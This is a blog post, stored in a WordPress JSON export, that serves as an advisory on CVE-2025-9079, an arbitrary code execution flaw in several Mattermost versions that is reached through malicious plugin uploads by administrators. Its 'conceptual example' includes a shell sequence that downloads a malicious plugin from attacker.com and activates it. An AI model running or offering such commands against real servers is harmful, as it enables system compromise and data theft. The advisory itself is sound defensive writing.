{"id":78285,"date":"2025-09-27T15:35:25","date_gmt":"2025-09-27T15:35:25","guid":{"rendered":""},"modified":"2025-10-21T04:13:12","modified_gmt":"2025-10-21T10:13:12","slug":"cve-2025-9079-critical-arbitrary-code-execution-vulnerability-in-mattermost","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9079-critical-arbitrary-code-execution-vulnerability-in-mattermost\/","title":{"rendered":"CVE-2025-9079: Critical Arbitrary Code Execution Vulnerability in Mattermost<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

Severe vulnerabilities pose significant threats to our interconnected digital ecosystem. One such vulnerability is the CVE-2025-9079, a critical security flaw found in multiple versions of Mattermost. Mattermost is a flexible, open-source messaging platform that provides team communication across web, mobile, and PC with unlimited archiving.
\nThe vulnerability is particularly concerning due to its potential<\/a> to allow admin users to execute arbitrary code via malicious plugin uploads. This not only affects the integrity of the platform but also endangers the confidentiality and availability of data, making it a critical issue<\/a> that needs immediate attention.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-9079
\nSeverity: High (8.0 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Administrator
\nUser Interaction: Required
\nImpact: System compromise<\/a>, potential data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Mattermost | 10.8.x <= 10.8.3\nMattermost | 10.5.x <= 10.5.8\nMattermost | 9.11.x <= 9.11.17\nMattermost | 10.10.x <= 10.10.1\nMattermost | 10.9.x <= 10.9.3\n\nHow the Exploit Works<\/strong><\/p>\n

The vulnerability stems from Mattermost’s failure to validate<\/a> the import directory path configuration. This failure provides a window for admin users<\/a> to upload a malicious plugin to the prepackaged plugins directory. Once uploaded, this plugin can then be used to execute arbitrary code, potentially leading to system compromise<\/a> or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited:<\/p>\n

$ cd \/path\/to\/mattermost\/plugins\/prepackaged\n$ wget http:\/\/attacker.com\/malicious_plugin.tar.gz\n$ tar -xzf malicious_plugin.tar.gz\n$ rm malicious_plugin.tar.gz\n$ systemctl restart mattermost<\/code><\/pre>\n
This shell command sequence demonstrates how an attacker might navigate to the Mattermost prepackaged plugins directory, download a malicious plugin from a remote server<\/a>, extract it, remove the downloaded file, and then restart the Mattermost service to activate the plugin.
\nPlease note that this is a conceptual example and may not reflect the actual steps an attacker would use to exploit this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview Severe vulnerabilities pose significant threats to our interconnected digital ecosystem. One such vulnerability is the CVE-2025-9079, a critical security flaw found in multiple versions of Mattermost. Mattermost is a flexible, open-source messaging platform that provides team communication across web, mobile, and PC with unlimited archiving. The vulnerability is particularly concerning due to its potential […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-78285","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t